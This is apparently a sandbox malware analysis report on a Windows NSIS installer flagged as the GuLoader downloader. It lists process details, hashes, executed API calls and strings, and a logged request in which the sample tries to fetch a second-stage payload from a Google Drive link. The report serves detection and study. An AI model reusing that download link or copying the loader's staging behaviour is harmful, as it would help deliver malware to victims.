2025-01-10 14:38:44 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:38:44 GMT Location: https://drive.usercontent.google.com/download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'nonce-rthil-GIIY6YoW89wEuFOQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.11.20	49817	142.250.190.97	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:38:44 UTC	459	OUT	GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
2025-01-10 14:38:44 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6u792ajz53euqYAGQY-ZaelbL6ApheVv0IPHtrssMzWXFV8CBBAp_2QCgdUTo85lJ4 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:38:44 GMT Content-Security-Policy: script-src 'nonce--iuWKS7bn5xuXfLW05SApA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:38:44 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 30 61 57 6f 37 32 54 33 77 32 4f 6e 4b 4b 45 30 57 77 70 6b 6d 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="0aWo72T3w2OnKKE0WwpkmA">*{margin:0;padding:0}html,code{font:15px/22px arial

Target ID:	0
Start time:	09:30:23
Start date:	10/01/2025
Path:	C:\Users\user\Desktop\nRNzqQOQwk.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\nRNzqQOQwk.exe"
Imagebase:	0x400000
File size:	616'800 bytes
MD5 hash:	C616C105A117D63DE2B4F818C8FDD3E0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.13419006132.00000000041CB000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	09:31:58
Start date:	10/01/2025
Path:	C:\Users\user\Desktop\nRNzqQOQwk.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\nRNzqQOQwk.exe"
Imagebase:	0x400000
File size:	616'800 bytes
MD5 hash:	C616C105A117D63DE2B4F818C8FDD3E0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000001.00000002.16901286727.0000000002BAB000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	16.9%
Dynamic/Decrypted Code Coverage:	14.4%
Signature Coverage:	21.5%
Total number of Nodes:	1468
Total number of Limit Nodes:	37

Executed Functions

Function 00403180 Relevance: 93.1, APIs: 33, Strings: 20, Instructions: 357
stringcomfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 004031A5
GetVersion.KERNEL32 ref: 004031AB
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 004031D4
#17.COMCTL32(00000007,00000009), ref: 004031F6
OleInitialize.OLE32(00000000), ref: 004031FD
SHGetFileInfoA.SHELL32(0079D500,00000000,?,00000160,00000000), ref: 00403219
GetCommandLineA.KERNEL32(Pongids Setup,NSIS Error), ref: 0040322E
GetModuleHandleA.KERNEL32(00000000,"C:\Users\user\Desktop\nRNzqQOQwk.exe",00000000), ref: 00403241
CharNextA.USER32(00000000,"C:\Users\user\Desktop\nRNzqQOQwk.exe",00000020), ref: 0040326C
GetTempPathA.KERNELBASE(00000400,C:\Users\user\AppData\Local\Temp\,00000000,00000020), ref: 00403369
GetWindowsDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 0040337A
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 00403386
GetTempPathA.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp), ref: 0040339A
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 004033A2
SetEnvironmentVariableA.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low), ref: 004033B3
SetEnvironmentVariableA.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\), ref: 004033BB
DeleteFileA.KERNELBASE(1033), ref: 004033CF

Part of subcall function 00406139: GetModuleHandleA.KERNEL32(?,?,?,004031EA,00000009), ref: 0040614B
Part of subcall function 00406139: GetProcAddress.KERNEL32(00000000,?), ref: 00406166

OleUninitialize.OLE32(?), ref: 0040347D
ExitProcess.KERNEL32 ref: 0040349E
GetCurrentProcess.KERNEL32(00000028,?), ref: 004035BB
OpenProcessToken.ADVAPI32(00000000), ref: 004035C2
LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 004035DA
AdjustTokenPrivileges.ADVAPI32(?,?,?,?,00000000,?,00000000,00000000,00000000), ref: 004035F9
ExitWindowsEx.USER32(00000002,80040002), ref: 0040361D
ExitProcess.KERNEL32 ref: 00403640

Part of subcall function 00405596: MessageBoxIndirectA.USER32(00409218), ref: 004055F1

Strings

Pongids Setup, xrefs: 00403224
C:\Users\user\slavelivets, xrefs: 0040345A
~nsu, xrefs: 004034A9
1033, xrefs: 004033CA
UXTHEME, xrefs: 004031C8, 004031CD, 004031D3
.tmp, xrefs: 004034C5
TMP, xrefs: 004033B6
TEMP, xrefs: 004033AE
\Temp, xrefs: 00403380
"C:\Users\user\Desktop\nRNzqQOQwk.exe", xrefs: 00403234, 0040323A, 004033F3
`K`v, xrefs: 004033A7
Low, xrefs: 0040339C
", xrefs: 00403291
Error launching installer, xrefs: 00403435
SeShutdownPrivilege, xrefs: 004035D4
C:\Users\user\AppData\Local\Temp\, xrefs: 0040335E, 00403363, 00403379, 00403385, 00403394, 004033A1, 004033AD, 004033B5, 004034AE, 004034BF, 004034CA, 004034D6, 004034E3, 004034F2, 004035A1
C:\Users\user\slavelivets, xrefs: 0040334E, 0040344F, 004034F9, 00403502
C:\Users\user\Desktop\nRNzqQOQwk.exe, xrefs: 0040355B
NSIS Error, xrefs: 0040321F
C:\Users\user\Desktop, xrefs: 004034D0, 004034D5, 00403501

Memory Dump Source

Source File: 00000000.00000002.13417534408.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.13417502270.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417566610.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007DC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007E2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nRNzqQOQwk.jbxd

Similarity

API ID: Process$Exit$EnvironmentFileHandleModulePathTempTokenVariableWindowslstrcat$AddressAdjustCharCommandCurrentDeleteDirectoryErrorIndirectInfoInitializeLineLookupMessageModeNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrlen
String ID: "$"C:\Users\user\Desktop\nRNzqQOQwk.exe"$.tmp$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\nRNzqQOQwk.exe$C:\Users\user\slavelivets$C:\Users\user\slavelivets$Error launching installer$Low$NSIS Error$Pongids Setup$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$`K`v$~nsu
API String ID: 3329125770-3440488698
Opcode ID: bbf1fb5b53fc7b28b57eed0d95e8f77975159f1cadf5f6a8baec224272584505
Instruction ID: 9be49b359e088d3119d2258a489a24960a077000951b0681bd3593dcca7d42e2
Opcode Fuzzy Hash: bbf1fb5b53fc7b28b57eed0d95e8f77975159f1cadf5f6a8baec224272584505
Instruction Fuzzy Hash: 03C107706086816EE7116F719D4DA2F3EACAF86306F44457FF482B52E2C77C4A058B2E

Function 10001A5D Relevance: 20.0, APIs: 13, Instructions: 540stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 10001215: GlobalAlloc.KERNEL32(00000040,10001233,?,100012CF,-1000404B,100011AB,-000000A0), ref: 1000121D

GlobalAlloc.KERNELBASE(00000040,000014A4), ref: 10001B67
lstrcpyA.KERNEL32(00000008,?), ref: 10001BAF
lstrcpyA.KERNEL32(00000408,?), ref: 10001BB9
GlobalFree.KERNEL32(00000000), ref: 10001BCC
GlobalFree.KERNEL32(?), ref: 10001CC4
GlobalFree.KERNEL32(?), ref: 10001CC9
GlobalFree.KERNEL32(?), ref: 10001CCE
GlobalFree.KERNEL32(00000000), ref: 10001E76
lstrcpyA.KERNEL32(?,?), ref: 10001FCA

Memory Dump Source

Source File: 00000000.00000002.13435297109.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.13435257498.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.13435328393.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.13435360317.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_nRNzqQOQwk.jbxd

Similarity

API ID: Global$Free$lstrcpy$Alloc
String ID:
API String ID: 4227406936-0
Opcode ID: 108015169a1f9511be137f3b76d088d284be53ebd3be1ec406ce9b744c5ee79e
Instruction ID: 780798ea066e4ece118e8e5fed0bf18c828ec290136deaf2e43fc5d0554b8685
Opcode Fuzzy Hash: 108015169a1f9511be137f3b76d088d284be53ebd3be1ec406ce9b744c5ee79e
Instruction Fuzzy Hash: 17129971D0424ADFFB20CFA4C8847EEBBF4FB043C4F61852AD5A1A2199DB749A81CB51

Function 00405DC2 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 199
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32(00000006,0079DD20,00000000,00404FF1,0079DD20,00000000), ref: 00405E73
GetSystemDirectoryA.KERNEL32(Call,00000400), ref: 00405EEE
GetWindowsDirectoryA.KERNEL32(Call,00000400), ref: 00405F01
SHGetSpecialFolderLocation.SHELL32(?,0078FCF8), ref: 00405F3D
SHGetPathFromIDListA.SHELL32(0078FCF8,Call), ref: 00405F4B
CoTaskMemFree.OLE32(0078FCF8), ref: 00405F56
lstrcatA.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 00405F78
lstrlenA.KERNEL32(Call,00000006,0079DD20,00000000,00404FF1,0079DD20,00000000), ref: 00405FCA

Strings

Call, xrefs: 00405DE9, 00405EBB, 00405ED8, 00405EED, 00405F00, 00405F1C, 00405F47, 00405F77, 00405F7D, 00405F95, 00405FA8, 00405FC3, 00405FC9, 00405FD4, 00405FFE
Software\Microsoft\Windows\CurrentVersion, xrefs: 00405EBD
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00405F72

Memory Dump Source

Source File: 00000000.00000002.13417534408.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.13417502270.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417566610.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007DC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007E2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nRNzqQOQwk.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: Call$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-1230650788
Opcode ID: 8aaebd9e83df3b37401bec0d629d687f6ba259a9d136d118ad02b0f801d1bc8a
Instruction ID: 6cdfcc9d134e5fa542626d346f44b404821d9f3efcf53b1aa70e88c92b4f8a03
Opcode Fuzzy Hash: 8aaebd9e83df3b37401bec0d629d687f6ba259a9d136d118ad02b0f801d1bc8a
Instruction Fuzzy Hash: A4610271A04A06AEEB115B24CC84BBF3BA8EB56314F54813BE541BA2D0D37D4981DF4E

Function 00405642 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 159
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileA.KERNELBASE(?,?,765F3410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 0040566B
lstrcatA.KERNEL32(0079F548,\*.*,0079F548,?,?,765F3410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 004056B3
lstrcatA.KERNEL32(?,00409014,?,0079F548,?,?,765F3410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 004056D4
lstrlenA.KERNEL32(?,?,00409014,?,0079F548,?,?,765F3410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 004056DA
FindFirstFileA.KERNEL32(0079F548,?,?,?,00409014,?,0079F548,?,?,765F3410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 004056EB
FindNextFileA.KERNEL32(00000000,00000010,000000F2,?,?,?,00000000,?,?,0000003F), ref: 00405798
FindClose.KERNEL32(00000000), ref: 004057A9

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 0040564F
\*.*, xrefs: 004056AD
"C:\Users\user\Desktop\nRNzqQOQwk.exe", xrefs: 00405642

Memory Dump Source

Source File: 00000000.00000002.13417534408.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.13417502270.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417566610.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007DC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007E2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nRNzqQOQwk.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\nRNzqQOQwk.exe"$C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-1228767592
Opcode ID: 66d41853b2e100f8aa5dc84de00091d649ca301df736d3cc4483c22267dac329
Instruction ID: 760187f4f4892300bbc2109203202489edd73d97d78a60d5512a31c146a0733f
Opcode Fuzzy Hash: 66d41853b2e100f8aa5dc84de00091d649ca301df736d3cc4483c22267dac329
Instruction Fuzzy Hash: 8F51D631804A08EADB216B618C45BBF7B78DF42714F14813BF955721D1D77C8982EE6E

Function 00402B0E Relevance: 7.6, APIs: 5, Instructions: 67
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNELBASE(?,?,00000000,00000000,?), ref: 00402B2F
RegEnumKeyA.ADVAPI32(?,00000000,?,00000105), ref: 00402B6B
RegCloseKey.ADVAPI32(?), ref: 00402B74
RegCloseKey.ADVAPI32(?), ref: 00402B99
RegDeleteKeyA.ADVAPI32(?,?), ref: 00402BB7

Memory Dump Source

Source File: 00000000.00000002.13417534408.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.13417502270.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417566610.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007DC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007E2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nRNzqQOQwk.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 835a18ee0712391a14b10fd83abfdacb871c0e1db67dd3faae47ba34dcff1796
Instruction ID: e8770432982ab8decd1ca443e4f50ff6a20a1eaa2a88b85c41c9a6e6fa4e92e0
Opcode Fuzzy Hash: 835a18ee0712391a14b10fd83abfdacb871c0e1db67dd3faae47ba34dcff1796
Instruction Fuzzy Hash: 49117F36900109FFEF119F90DE89DAE3B7DEB55384F004076FA05B10A0D3B8AE51AB69

Function 004060A4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNELBASE(765F3410,0079FD90,C:\,00405943,C:\,C:\,00000000,C:\,C:\,765F3410,?,C:\Users\user\AppData\Local\Temp\,00405662,?,765F3410,C:\Users\user\AppData\Local\Temp\), ref: 004060AF
FindClose.KERNELBASE(00000000), ref: 004060BB

Strings

C:\, xrefs: 004060A4

Memory Dump Source

Source File: 00000000.00000002.13417534408.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.13417502270.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417566610.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007DC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007E2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nRNzqQOQwk.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: C:\
API String ID: 2295610775-3404278061
Opcode ID: d30bbc16997dfcf9f9a572ec6341a2188e66bfdc939d37fad3f946c8dc482195
Instruction ID: 4d264840bddbdcf8954fb0232b098af143b8be61859f100819b52cc90bd9207d
Opcode Fuzzy Hash: d30bbc16997dfcf9f9a572ec6341a2188e66bfdc939d37fad3f946c8dc482195
Instruction Fuzzy Hash: AAD0127595A1205BC71197787C0C84B7A589B053307114A32F46AF22E0D6349C7686E9

Function 00403720 Relevance: 47.5, APIs: 13, Strings: 14, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406139: GetModuleHandleA.KERNEL32(?,?,?,004031EA,00000009), ref: 0040614B
Part of subcall function 00406139: GetProcAddress.KERNEL32(00000000,?), ref: 00406166

lstrcatA.KERNEL32(1033,0079E540,80000001,Control Panel\Desktop\ResourceLocale,00000000,0079E540,00000000,00000002,765F3410,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\nRNzqQOQwk.exe",00000000), ref: 0040379B
lstrlenA.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\slavelivets,1033,0079E540,80000001,Control Panel\Desktop\ResourceLocale,00000000,0079E540,00000000,00000002,765F3410), ref: 00403810
lstrcmpiA.KERNEL32(?,.exe), ref: 00403823
GetFileAttributesA.KERNEL32(Call), ref: 0040382E
